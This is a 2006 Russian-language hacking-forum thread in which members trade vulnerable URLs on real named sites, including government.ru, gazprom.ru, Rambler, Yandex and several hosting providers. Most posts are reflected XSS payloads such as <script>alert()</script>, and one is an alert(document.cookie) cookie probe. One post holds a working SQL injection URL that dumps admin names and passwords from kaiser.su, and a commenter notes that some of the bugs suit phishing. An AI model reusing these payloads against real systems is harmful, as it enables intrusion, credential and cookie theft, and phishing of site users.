Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
    _http://avtoprice.com/cgi-bin/search.pl

    Поиск : <script>alert()</script>

    _http://www.autobriz.ru/cgi-bin/catalog-find.pl?CMD=FIND&WORDS=%3Cscript%3Ealert%28%29%3C%2Fscript%3E
     
  2. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    Вот ловите

    http://www.hithost.ru/cgi-bin/game_1_10.cgi?sid=5668431270%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cb%20src=%22

    может тому кто сайт расскручивает и пригодиться, d1mon - это тебе )) ггг..
     
    1 person likes this.
  3. Gang100

    Gang100 Banned

    Joined:
    18 Feb 2006
    Messages:
    32
    Likes Received:
    24
    Reputations:
    21
    XSS

    Поисковая система KM.RU
    _http://go.km.ru/index.asp?idr=0&ids=&wdv=0&mrv=1&dti=0&dtv=3&idt=&ann=1&srt=0&itp=-1&osq=&P1=&P2=&P3=&ext=0&opt=0&hlp=0&sr=0&sq=%3Cscript%3Ealert%28%29%3C%2Fscript%3E

    РИА Новости
    _http://www.rian.ru/search/?query=%22%3Esa%3Cscript%3Ealert%28%29%3C%2Fscript%3E&x=8&y=1

    Lenta.ru
    _lenta.ru в поиске: "><script>alert ()</script>

    ГАЗПРОМ.ру
    _http://www.gazprom.ru/cgi-bin/htsearch - в поиске: "><script>alert ()</script>

    Болеро.ру
    _http://www.bolero.ru в поиске: "><script>alert ()</script>

    CyberFight.ru
    _http://cyberfight.ru/info/search/?qry=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&mode=simple

    kino.ru
    _http://www.kino.ru/search.php - в поиске: <script>alert ()</script>

    РБК
    _http://av.rbc.ru/?query=%3Cscript%3Ealert%28%29%3C%2Fscript%3E&type=&morph=on&cat=&d1=13&m1=02&y1=2006&d2=13&m2=03&y2=2006&howmany=10&sort=date
     
    #23 Gang100, 13 Mar 2006
    Last edited: 14 Mar 2006
    1 person likes this.
  4. Gang100

    Gang100 Banned

    Joined:
    18 Feb 2006
    Messages:
    32
    Likes Received:
    24
    Reputations:
    21
    XSS

    Сайт Правительства России (government.ru)
    _http://www.government.ru - в поиске: "><script>alert ()</script>

    Rambler: Фото
    _http://foto.rambler.ru - в поиске: "><script>alert ()</script>

    Правда.ру
    _http://pravda.ru - в поиске: "><script>alert ()</script>

    Referat.com
    _http://links.referat.com/?hp=0&st=%3Cscript%3Ealert+%28%29%3C%2Fscript%3E

    RuPay.ru
    _http://rupay.ru - /подписка на новости/ - /ваш email/ - вписываем туда: "><script>alert ()</script>

    Ren-TV.com
    _http://ren-tv.com - /поиск/ - "><script>alert ()</script>
     
    1 person likes this.
  5. VolkIncor

    VolkIncor New Member

    Joined:
    14 Mar 2006
    Messages:
    6
    Likes Received:
    2
    Reputations:
    1
  6. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
    _http://kinoshara.com/search.php?search=%3Cscript%3Ealert%28%29%3C%2Fscript%3E
     
  7. CinerX

    CinerX Elder - Старейшина

    Joined:
    13 Feb 2006
    Messages:
    81
    Likes Received:
    17
    Reputations:
    13
    h16.ru
    http://register.h16.ru/cgi-bin/sp.cgi?fqdn=%3Cscript%3Ealert()%3C/script%3E
     
    1 person likes this.
  8. Gang100

    Gang100 Banned

    Joined:
    18 Feb 2006
    Messages:
    32
    Likes Received:
    24
    Reputations:
    21
    XSS
    прошелся по хостингам


    Netco
    _http://www.netco.ru - Зарегистрировать домен -> <script>alert ()</script>

    Standarthost
    _http://www.standarthost.ru - Проверка домена -> <script>alert ()</script>

    [.m]masterhost
    _http://masterhost.ru - Проверить домен -> "><script>alert ()</script>

    Terrahost
    _http://www.terrahost.ru/whois/whois.php?domain=%22%3E%3Cscript%3Ealert+%28%29%3C%2Fscript%3E&ru=on

    MASTAK
    _http://www.mastak.ru/Mwois/mwhois.php?domain=<script>alert%20()</script>
     
  9. CinerX

    CinerX Elder - Старейшина

    Joined:
    13 Feb 2006
    Messages:
    81
    Likes Received:
    17
    Reputations:
    13
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Уже посерьезнее, эту можно использовать для фишинга...
    Как и предыдущую... Остальные бесполезны практически...
     
  11. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
    _http://kaiser.su/index.html?form='



    _http://saratov.cityout.ru/search/?fastsearch=%3Cscript%3Ealert%28%29%3C%2Fscript%3E&cat=0


    Links
     
    #32 Vandal, 28 Mar 2006
    Last edited: 28 Mar 2006
  12. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
  13. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Code:
    http://kaiser.su/index.html?form=index&href=223344&class=-5%20union%20select%201,concat(name,':',password),3,4,5,6,7,8,9,10,11%20from%20admin/*
     
    2 people like this.
  14. Nexwill

    Nexwill Elder - Старейшина

    Joined:
    2 Aug 2005
    Messages:
    132
    Likes Received:
    45
    Reputations:
    22
    _http://mail.goon.ru/reg/agreement.phtml?r1=103'&t1=%5C%22%5C%272&i=
     
  15. Nexwill

    Nexwill Elder - Старейшина

    Joined:
    2 Aug 2005
    Messages:
    132
    Likes Received:
    45
    Reputations:
    22
    http://wahack.org.ru/?sec=lib&ver=html&p=0&text=2'
     
  16. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    http://www.gamershell.com/pc/gti_racing/screenshots.html?id=<script>alert()</script>
     
  17. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    31.03.2006 20:11
    хорошее начало - http://www.rambler.ru/cgi-bin/pic.cgi?words="><script>alert(/VectorG/)</script>
     
  18. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    багу нашёл около 3х недель назад

    говорили с киборгом в мирке на счёт этого дела, итог: бага ниче не даёт... но всё равно интересная реализация:

    http://afisha.yandex.ru/event.xml
    http://money.yandex.ru/shops.xml

    и так во многих xml яндекса, но не во всех...
     
  19. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    На http://ha.ckers.org/xss.html если ввести в поле:
    HTML (with semicolons):
    текст
    %Wd
    то выскакивает алерт, правда не понял почему и какая от этого польза.
     
    1 person likes this.
Thread Status:
Not open for further replies.